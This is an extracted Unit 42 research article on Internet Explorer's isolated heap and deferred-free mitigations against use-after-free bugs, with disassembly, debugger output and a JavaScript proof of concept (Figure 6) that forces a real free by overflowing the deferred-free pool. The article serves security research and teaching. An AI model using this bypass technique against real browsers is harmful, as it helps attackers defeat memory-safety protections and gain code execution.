ZeroHour
Palo Alto Unit 42published ()ingested Tao Yan, Bo Qu, Royce Lu

Is It the Beginning of the End For Use-After

Vulnerabilities mentionedAll →

CVEVulnerabilityCVSSEPSSFlagsAffectedExposurePublished
CVE-2014-0322
Use-After-Free Remote Code Execution in Microsoft Internet Explorer

CVE-2014-0322 is a use-after-free memory corruption flaw (CWE-416) in Microsoft Internet Explorer that allows remote code execution. It is triggered when the browser processes crafted web content: an attacker-controlled object is freed and then reused, corrupting memory, and in the known campaign FireEye observed it being exploited as a 0-day via a watering hole attack on websites visited by targets. A successful exploit lets an attacker execute arbitrary code with the privileges of the logged-on user, typically through nothing more than a drive-by visit to a compromised web page. Everyone browsing with the affected Internet Explorer versions was exposed, which at the time of disclosure meant on the order of hundreds of millions of desktop users given IE's dominant market share. Exploitation is confirmed in the wild - the flaw was added to the CISA Known Exploited Vulnerabilities catalog on 2022-05-04 - though the source data notes no standalone public proof-of-concept code.

Do: Apply Microsoft's March 2014 Internet Explorer security updates per vendor instructions, as required by the CISA KEV catalog. Inventory endpoints for legacy or unpatched IE usage, restrict browsing with IE on outdated hosts, migrate systems still using IE to a supported browser where possible, and monitor for watering-hole/drive-by compromise indicators.

85% KEV
  • Microsoft Internet Explorer
masshundreds of millions of users at the time of disclosure (IE held the majority of desktop browser share in 2014); residual exposure now limited to legacy…
CVE-2014-1776
Use-After-Free Memory Corruption RCE in Microsoft Internet Explorer

CVE-2014-1776 is a use-after-free memory corruption flaw in Microsoft Internet Explorer that can be triggered when the browser processes specially crafted web content, corrupting memory in a manner an attacker controls. A remote attacker can deliver the malicious content from a site they host or inject it into a compromised/legitimate website, causing Internet Explorer to access freed memory under attacker control. Successful exploitation allows arbitrary code execution in the context of the current user, giving the attacker that user's privileges on the client machine. Any organization or user running an affected version of Internet Explorer is exposed, and the flaw has been associated with highly targeted attack activity, including the FireEye-documented zero-day exploit in the wild and the targeted Pirpi-distributed 0-day. The vulnerability was exploited in the wild as a zero-day, was addressed by Microsoft updates, and was added to CISA's Known Exploited Vulnerabilities Catalog on 2022-01-28; no public proof-of-concept is known.

Do: Apply Microsoft's Internet Explorer security updates per vendor instructions, prioritizing this as a KEV-required remediation, and verify all workstations still launching IE or legacy MSHTML-based content are patched. Reduce residual exposure by steering users away from Internet Explorer for untrusted sites and auditing intranet applications and tooling for lingering IE dependencies. Because the exact affected versions are not in the data, cross-check Microsoft's advisory to confirm your deployed IE versions are covered by the fix.

88% KEV
  • Microsoft Internet Explorer
mass≈ hundreds of millions of users/endpoints (IE held roughly half of global browser market share when exploited in 2014)
Full article2,650 words · extracted from unit42.paloaltonetworks.com · click to collapse

Use-after-free bugs have affected Internet Explorer for years. In the past year alone, Microsoft patched 122 IE vulnerabilities, the majority of which were use-after-free bugs. This year Microsoft has already patched 126 IE vulnerabilities to date. Of those vulnerabilities, 4 were actively being exploited in the wild. These 4 exploits (CVE-2014-1815, CVE-2014-1776, CVE-2014-0322, CVE-2014-0324) were all based on use-after-free bugs.

To deal with the increasing number of use-after-free bugs and associated exploits, Microsoft introduced a series of new control mechanisms in the most recent Internet Explorer patches. In June, Microsoft introduced a new isolated heap mechanism to solve the usage issue of use-after-free exploitation. They followed that up In July by implementing a deferred free method to solve the freeing issue of use-after-free bugs.

The main concept of an isolated heap is simple. It allocates a dedicated heap for select critical objects to use that is separate from other heaps that a user can directly access. The heap block will not be occupied by user-controlled data after the critical objects are freed. This mechanism prevents precise control of the data of a freed object from further exploitation.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

.text:63DA6814;int__stdcall _MemIsolatedAlloc(SIZE_T dwBytes)

.text:63DA6814__MemIsolatedAlloc@4proc near

.text:63DA6814dwBytes=dword ptr8

.text:63DA6814

.text:63DA6814mov     edi,edi

.text:63DA6816push    ebp

.text:63DA6817mov     ebp,esp

.text:63DA6819push[ebp+dwBytes];dwBytes

.text:63DA681Cpush0;dwFlags

.text:63DA681Epush    _g_hIsolatedHeap;hHeap

.text:63DA6824call    ds:__imp__HeapAlloc@12;HeapAlloc(x,x,x)

.text:63DA682Apop     ebp

.text:63DA682Bretn4

.text:63DA682B__MemIsolatedAlloc@4endp

 Figure 1. _g_hIsolatedHeap handle used for isolated heap

The isolated heap was applied to many but not all internal objects, leaving some still vulnerable. To address this, Microsoft introduced another protection method of deferred free named ProtectedFree. They encapsulate this method and apply it to almost every object in mshtml.dll. In IE9, for example, it has been applied to every object through MemoryProtection::HeapFree as shown in figure 2.

figure 2

Figure 2. References of MemoryProtection::HeapFree

The main idea of this protection mechanism is to delay the freeing action so that the intruder is unable to determine when they can occupy the freed object using controlled data. In this new patch, every time Internet Explorer tries to free an object, it is not freed immediately. Instead, the block to be freed is marked and filled with 0x00 data and added to a pool. When the size of the pool hits a predefined threshold, which is currently 100k (0x186A0 as highlighted in figure 3), it performs the real freeing operation (ReclaimUnmarkedBlocks).

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

voidMemoryProtection::CMemoryProtector::ProtectedFree(void*hProcessHeap,void*lpMem,DWORDa,void*b)

{

...

v_lpMem=lpMem;

v_ProcessHeap=hProcessHeap;

if(!lpMem)

return;

if(MemoryProtection::CMemoryProtector::tlsSlotForInstance==-1

||(st_ProtecFreeManageHeap=TlsGetValue(MemoryProtection::CMemoryProtector::tlsSlotForInstance))==0)

{

HeapFree(v_ProcessHeap,0,(LPVOID)lpMem);

return;

}

if(*((_DWORD *)v_ProcessHeapBase+2)

&&(*((_DWORD *)st_ProtecFreeManageHeap+ 1) >= 0x186A0 || *((_BYTE *)st_ProtecFreeManageHeap + 20)))

  {

    MemoryProtection::CMemoryProtector::MarkBlocks(st_ProtecFreeManageHeap, &v17);

MemoryProtection::CMemoryProtector::ReclaimUnmarkedBlocks(st_ProtecFreeManageHeap);

}

...

}

  Figure 3. C++ style pseudo code of ProtectedFree function

Microsoft stores the to-be-freed blocks in a structure called st_ProtecFreeManageHeap. This structure is created in the function MemoryProtection::CMemoryProtector::ProtectCurrentThread and is used to manage deferred free heap blocks. Figure 4 shows an example of the structure in memory.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

0:007>dc0e6f6fe0

0e6f6fe00e82900000008bfa000000fe00000400................

0e6f6ff0c0c0c000 c0c0c0000ca700000ca6c8e8................

Red:current heap block address

Yellow:current heap block size

Blue:current heap block counts

Green:heap block capacity

Gray:HeapBase

0:007>!heap-p-a0e6f6fe0

address0e6f6fe0found in

_DPH_HEAP_ROOT@61000

inbusy allocation(DPH_HEAP_BLOCK:UserAddr UserSize VirtAddr VirtSize)

e463888:e6f6fe020e6f60002000

6ca48e89verifier!AVrfDebugPageHeapAllocate+0x00000229

76f55edentdll!RtlDebugAllocateHeap+0x00000030

76f1a40antdll!RtlpAllocateHeap+0x000000c4

76ee5ae0ntdll!RtlAllocateHeap+0x0000023a

660120b0MSHTML!MemoryProtection::CMemoryProtector::ProtectCurrentThread+0x00000062

65ea9138MSHTML!GlobalWndProc+0x00000015

7596c4e7user32!InternalCallWinProc+0x00000023

75965f9fuser32!UserCallWinProcCheckWow+0x000000e0

75964f0euser32!DispatchClientMessage+0x000000da

7595e98auser32!__fnINLPCREATESTRUCT+0x0000008b

76ed702entdll!KiUserCallbackDispatcher+0x0000002e

7595ec54user32!_CreateWindowEx+0x00000201

7595ecafuser32!CreateWindowExW+0x00000033

6c4f3985IEShims!NS_HangResistanceInternal::APIHook_CreateWindowExW+0x00000081

660123e3MSHTML!InitGlobalWindow+0x00000098

.text:63752097;CODE XREF:MemoryProtection::CMemoryProtector::ProtectCurrentThread(void)+169054j

.text:63752097test    edi,edi

.text:63752099jz      loc_635E90E1

.text:6375209Fpush    ebx

.text:637520A0push20h;dwBytes

.text:637520A2xorebx,ebx

.text:637520A4push    ebx;dwFlags

.text:637520A5push    _g_hProcessHeap;hHeap

.text:637520ABcall    _HeapAlloc@12;HeapAlloc(x,x,x)

.text:637520B0mov     esi,eax

.text:637520B2test    esi,esi

.text:637520B4jz      shortloc_63752101

.text:637520B6mov[esi],ebx

.text:637520B8mov[esi+4],ebx

.text:637520BBmov[esi+8],ebx

.text:637520BEmov[esi+0Ch],ebx

.text:637520C1mov[esi+10h],bl

.text:637520C4mov[esi+14h],bl

.text:637520C7mov[esi+18h],ebx

.text:637520CAmov[esi+1Ch],ebx

 Figure 4. st_ProtecFreeManageHeap

Figure 5 provides an alternate view of the structure in a C style code block.

1

2

3

4

5

6

7

8

9

10

11

12

13

typedefstructSBlockDescriptor{

LPVOID mem;// if(!(mem&2)) mem from ProcessHeap; Else from IsolateHeap;

DWORd MemSize;

};

typedefstructst_ProtecFreeManageHeap{

PVOID buffer;//point to an array of SBlockDescriptor

DWORD TotalMemorySize;

DWORD CurrentNumOfDescriptor;

DWORD MaxNumOfDescriptor;

BOOLbQsorted;//*((BYTE*)this+16)

}

 Figure 5. C style code of st_ProtecFreeManageHeap

If we were able to make the size of the current heap block in this structure larger than the threshold of 0x186A0 bytes and trigger CMemoryProtector::ProtectedFree, it is still possible to force a true freeing action and occupy the freed object with other data as we show in the following piece of javascript code in figure 6.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

<html>

<head>

</head>

<body>

<script>

alert("we’ll create a UAF using windbg");

arr=newArray();

arr2=newArray();

//create anchor Element

varanchor=document.createElement('a');

//arr[0] = anchor;

//arr2[0] = anchor;

document.body.appendChild(anchor);

//now anchor refcount is 2.

alert("use windbg attach IE process and make the anchor Element's refcount decreased by 1");

//arr[0] = "";

document.body.removeChild(anchor);

alert("anchor Element has been protected free’d");

//fill the “current heap block size” in v_ProtectFreeManageHeap structure and make it bigger than 0x186A0

for(vari=0;i<0x3f0;i++){

arr[i]=document.createElement('a');

}

//trigger “CMemoryProtector::ProtectedFree” once again

for(vari=0;i<0x3f0;i++){

arr[i]="";

}

CollectGarbage();

alert("ForceFree_done")

alert("reuse");

alert(anchor.title);

</script>

  Figure 6. Javascript proof of concept to force freeing

When creating the anchor element, the debug logs are shown in figure 7. The address of the anchor element is 0x0c3b3f98.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

0:005>dc0c3b3f98

0c3b3f98650acb88000000020000000200000008...e............

0c3b3fa865c87088000000000ba657500c3b5fa0.p.e....PW..._;.

0c3b3fb8000000020204000090000e0000060004................

0c3b3fc80c39dbd8650acb640c3b3fcc00000000..9.d..e.?;.....

0c3b3fd800000000000000000000000000000000................

0c3b3fe800000000000000000000000000000000................

0c3b3ff800000001d0d0d0d0????????????????........????????

0:005>!heap-p-a0c3b3f98

address0c3b3f98found in

_DPH_HEAP_ROOT@c381000

inbusy allocation(DPH_HEAP_BLOCK:UserAddr UserSize VirtAddr VirtSize)

c381ac0:c3b3f9864c3b30002000

MSHTML!CAnchorElement::`vftable'

6dae8e89verifier!AVrfDebugPageHeapAllocate+0x00000229

76f55edentdll!RtlDebugAllocateHeap+0x00000030

76f1a40antdll!RtlpAllocateHeap+0x000000c4

76ee5ae0ntdll!RtlAllocateHeap+0x0000023a

650aca58MSHTML!CAnchorElement::CreateElement+0x00000018

64e98e84MSHTML!CreateElement+0x00000061

64f0d1ddMSHTML!CMarkup::CreateElement+0x00000191

64f0d35bMSHTML!CDocument::CreateElementHelper+0x000000fb

64f0d432MSHTML!CDocument::Var_createElement+0x00000046

64f0d3cfMSHTML!CFastDOM::CDocument::Trampoline_createElement+0x00000044

681342b4jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x00000165

68132ea4jscript9!Js::InterpreterStackFrame::Process+0x00000ba8

6813351ajscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x000001e8

 Figure 7: Before free

We then manually decrease the reference number, so the CMemoryProtector::ProtectedFree function will fill the block with 0’s, but the object is still not freed.

1

2

3

4

5

6

7

8

Set anchor0x00

0c3b3f9800000000000000000000000000000000

0c3b3fa800000000000000000000000000000000

0c3b3fb800000000000000000000000000000000

0c3b3fc800000000000000000000000000000000

0c3b3fd800000000000000000000000000000000

0c3b3fe800000000000000000000000000000000

0c3b3ff800000000d0d0d0d0????????????????

Figure 8: decrease the reference number, not yet freed

Finally we make the size of the CMemoryProtector::ProtectedFree management structure larger than 0x186a0 forcing the freeing operation.

1

2

3

0:007>dc eax

0dde6fe00e109000000186b2000003a500000400................

0dde6ff0c0c0c000 c0c0c0000c3800000c37c590..........8...7.

 Figure 9: field “TotalMemorySize” of st_ProtecFreeManageHeap is greater than threshold

The anchor element is now actually freed as shown in figure 10.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

0:006>!heap-p-a0c3b3f98

address0c3b3f98found in

_DPH_HEAP_ROOT@c381000

infree-ed allocation(DPH_HEAP_BLOCK:VirtAddr         VirtSize)

c381ac0:c3b30002000

6dae90b2verifier!AVrfDebugPageHeapFree+0x000000c2

76f566acntdll!RtlDebugFreeHeap+0x0000002f

76f1a13entdll!RtlpFreeHeap+0x0000005d

76ee65a6ntdll!RtlFreeHeap+0x00000142

76dfc3d4kernel32!HeapFree+0x00000014

64e56dc3MSHTML!MemoryProtection::CMemoryProtector::ReclaimUnmarkedBlocks+0x00000046

652468b0MSHTML!CAnchorElement::`scalar deleting destructor'+0x0000008c

64e59602MSHTML!CElement::PrivateRelease+0x000001b3

651cec6aMSHTML!CBase::JSBind_Release+0x00000016

681ab380jscript9!Js::CustomExternalObject::Dispose+0x00000017

681aaf97jscript9!SmallFinalizableHeapBlock::DisposeObjects+0x00000067

681ab17ejscript9!HeapInfo::DisposeObjects+0x000000b0

681ab078jscript9!Recycler::DisposeObjects+0x00000049

681ab027jscript9!Recycler::FinishDisposeObjects+0x0000001a

681a7a34jscript9!DefaultRecyclerCollectionWrapper::ExecuteRecyclerCollectionFunction+0x00000017

681a7a06jscript9!ThreadContext::ExecuteRecyclerCollectionFunctionCommon+0x0000003b

681a798cjscript9!ThreadContext::ExecuteRecyclerCollectionFunction+0x000000ad

681a80efjscript9!Recycler::DoCollectWrapped+0x0000005a

682d8748jscript9!Recycler::Collect<-1073475584>+0x0000004b

6813302ejscript9!Js::InterpreterStackFrame::Process+0x00001e54

6813351ajscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x000001e8

  Figure 10: object is in the free list now

From a researchers' point of view, deferred free created a few problems, one of the major ones being that the page heap feature may not work correctly. Page heap is a useful feature for debugging. When page heap is turned on, the system allows only one object in one memory page. Once this object is freed the whole page is marked as invalid. So the next time IE tries to access a freed object an invalid address exception would be raised. This mechanism is extremely helpful when researchers are trying to find use-after-free bugs.

With the introduction of the deferred free patch the object is no longer truly freed, so the page still exists. In this situation the researcher is no longer able to determine whether a use-after-free behavior has occurred because no exception would be thrown out. To reduce the impact of the deferred free patch, a research may consider patching the mshtml.dll in memory. For example, you can call MemoryProtection::CMemoryProtector::UnprotectProcess before you perform any fuzzing tasks.

The recent patches and introduction of isolated heap and deferred free are strong signs that Microsoft plans to address the fundamentals of use-after-free exploitation in a preventative manner rather than to passively patch the vulnerabilities as they are discovered. From the results of our research, applications of such methods can effectively stop unpatched use-after-free attacks. It can also make the exploitations of heap overflows or type confusion bugs significantly more difficult. But this is not the end.

For the foreseeable future, Microsoft may introduce more defensive mechanisms against use-after-free bugs or even heap fengshui to reduce the risk of being exploited. Could it be game over for use-after-free exploitation, or it is just the beginning of another cat and mouse game? Time will tell.

Text extracted automatically; images, tables and formatting may be missing. Original: https://unit42.paloaltonetworks.com/beginning-end-use-free-exploitation/